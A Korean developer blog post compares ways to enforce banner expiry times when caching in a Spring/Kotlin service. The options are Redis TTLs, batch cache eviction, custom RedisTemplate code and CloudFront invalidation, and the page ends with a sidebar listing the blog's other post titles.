스프링에서 추상화해놓은 캐시 기능(스프링 aop 기반)들만 사용하면 TTL을 설정할 수는 있지만 캐시 만료 기간을 지정할 수는 없다.

이는 직접 RedisTemplate 같은 코드로 만료 기간 (expired date)을 지정해줘야 한다.

예를 들어 캐시 적용 유지 시간이 10분이라고 가정해보자. A 배너는 12시부터 조회가 되면 안된다.

그러나 캐시가 11시 59분에 적용되면 12시 09분까지 A 배너는 조회가 가능하다.

작성해 놓은 코드는 전부 수정해야 한다..!

가장 깔끔한 해결책은 무엇일까

해결 방법으로 온갖 상상의 나래를 펼쳐보았다.

생성, 수정, 삭제 관련 API는 @CacheEvict를 적용하면 될 것 같은데 조회 부분이 고민이었다.

첫 번째 방법: 복잡한 로직을 더한 캐시 적용

데이터가 캐시에 없고 DB에서 조회되면, 아래 조건이 참이면 캐싱을 하는 것이다.

현재 시간 + 캐시 시간 <= 만료 날짜

기각이다. 복잡해질 뿐만 아니라 캐싱이 되지 않는 텀이 길게 존재할 수 있다.

두 번째 방법: 배치와 비즈니스 지식(?) 활용

일단 기존 방식대로 @Cacheable을 사용해 TTL을 전부 건다.

그리고 전시 담당자들과 하나 약속을 정한다.

예를 들어 "배너 마감은 1시 10분, 3시 20분, 3시 30분과 같이 10분 단위로 진행되어야 해요!!"

그리고 10분마다 캐시를 날리는 배치를 작성한다.

해당 방식은 캐싱 무효화 지점을 파악하기 힘들 때 유용할 것 같다.

그러나 비즈니스 지식이 추가되고, 수행하지 않아도 배치가 일단 돌아야한다는 단점이 존재한다.

이건 나중에 요건에 따라서 배치 잡이 늘어날수도......

세 번째 방법: 캐싱 코드를 직접 구현

아래는 직접 캐시 조회 코드와 캐시 저장 코드를 구현한 코드다.

fun findBanner(): BannerListResponse {

    //레디스에 존재하는지
    val cacheResponse = bannerCacheStore.findResponse()
    
    //레디스에 존재하면 리턴
    if(cacheResponse != null) {
        return cacheResponse
    }
	
    //화면에 필요한 배너를 모두 조회
    val banners = BannerRepository.findAll() 
    
    //response에는 만료시간 필드가 존재
    val response = BannerListResponse.of(banners) 
    
    //이를 캐시에 직접 저장, save 로직에는 만료 시간이 되면 사라지게 하는 코드가 담김
    bannerCacheStore.save(response)

    return response
}

//참고로 redisTempalte에서 만료 시간을 지정하는 코드는 다음과 같다.
//redisTemplate.opsForValue().set(key, value, Duration.ofSeconds(timeoutInSeconds));

다른 이야기지만.. 클래스 이름을 BannerCacheStore라고 짓기 까지 꽤 많은 고민을 했다.

처음에는 BannerCacheRepository로 클래스 이름을 지었다.

그러나 Repository 패턴은 도메인 모델을 영속화시키기 위해 나온 패턴인데, BannerListResponse는 도메인 모델이 아니다.

따라서 Repository의 의미가 혼동될 수 있어서 BannerCacheStore라고 지었다.

이 방법은 ..? 무난해보인다.

네 번째 방법: CDN 적용

ALB 응답 JSON에도 CDN을 적용할 수 있다.

현재 프로젝트에서는 드물지만 cloud front를 사용하고 있다.

aws sdk를 사용하면 cloud front 무효화도 손쉽게 가능하다.

또한 개인화되지 않은 영역이라면 CDN은 훌륭한 성능 개선 방법일 수 있다.

중요한 것은 결국 비용, 돈이다!!!

CloudFront를 적극적으로 사용하면 API 요청은 줄겠지만,

그 효과로 인해 ec2(누군가에게는 ecs, k8s) 스펙을 내리거나 여기서 돈을 아낄 수 있을까??

이 질문은.. 역시 계산기를 두드려봐야 알 수 있다.

참고로 응답 JSON을 CDN을 사용하며 캐싱을 진행하면 다른 유저의 응답과 공유되지 않게 각별히 신경을 써야한다.

결론

필자는 3번과 4번 방법이 제일 좋아보이지만 아직 정해진 것은 없다!

역시 컴퓨터 공학에서 제일 어려운 것은 캐시 무효화와 변수명 짓기다.

이상으로 포스팅을 마칩니다. 감사합니다.

리팩토링하는 블로그

CORS, CSRF, XSS, CSP, SameSite 정리

CORS (Cross-Origin Resource Sharing)

CSRF (Cross-Site Request Forgery)

SameSite

질문 1. CORS 만 있으면 CSRF를 전부 막을 수 있을까?

질문 2. CORS 를 적용하고 SameSite가 Lax면 CSRF를 전부 막을 수 있을까?

XSS (Cross-Site Scripting)

참고 1. CSP란?

SSH 터널링 + hosts 파일을 이용한 로컬 개발 도메인 라우팅

SSH 터널링 + hosts 파일을 이용한 로컬 개발 도메인 라우팅

1. Hosts 파일 : 도메인 -> 로컬 주소 (127.0.0.1)로 우회

2. SSH 로컬 포워딩: 로컬 포트 -> 원격 서버로 터널 생성

주의할 부분

SQL Count & Assertion With 디버깅

SQL Count & Assertion

사용한 라이브러리

JPA 거짓 연관 관계 맺기(프록시)

동일한 테이블의 2개의 엔티티

코드에 대한 생각

기본으로 돌아가기

C 언어 관련

1. while (*dest) dest++;

예시

2. while (*dest++ = *src++);

포스팅 이유

인코딩(Encoding) 이란

1. 인코딩이란

문자 인코딩 정의와 단계

네트워크 인코딩 정의와 단계

Base64

2. 인코딩이 필요한 이유

3. 인코딩 형식과 수많은 형식이 존재하는 이유

5GHz Wi-Fi가 보이지 않아요

문제 상황 요약

✅1단계: 5GHz Wi-Fi 자체가 안 보임

개념 정리:

✅ 2단계: 공유기와 랜 카드 암호화 방식 확인

간단한 암호화 방식 보안 수준 설명 :

✅ 3단계: 공유기의 채널 확인

개념 정리:

✅ 4단계: Realtek 8812BU 무선 어댑터의 호환성 문제

✅ 5단계: 공유기 채널을 44번으로 변경 → 문제 해결

마무리

Junit5 구조와 아키텍처 (with Junit이 main 없이 동작하는 이유)

IntelliJ IDEA 환경과 Gradle 환경에서 Junit 살펴보기

Junit5 아키텍쳐

Junit 내부 구조

Kotest 주의할 점 (with Spring)

Kotest Isolation Modes

IsolationMode.SingleInstance

IsolationMode.InstancePerTest

IsolationMode.InstancePerLeaf

Kotest 사용하기 with Spring

결론

전시 도메인 캐싱에 대한 잡다한 생각들

캐싱 적용 이유 및 놓친 부분

가장 깔끔한 해결책은 무엇일까

첫 번째 방법: 복잡한 로직을 더한 캐시 적용

두 번째 방법: 배치와 비즈니스 지식(?) 활용

세 번째 방법: 캐싱 코드를 직접 구현

네 번째 방법: CDN 적용

결론

2. while (dest++ = src++);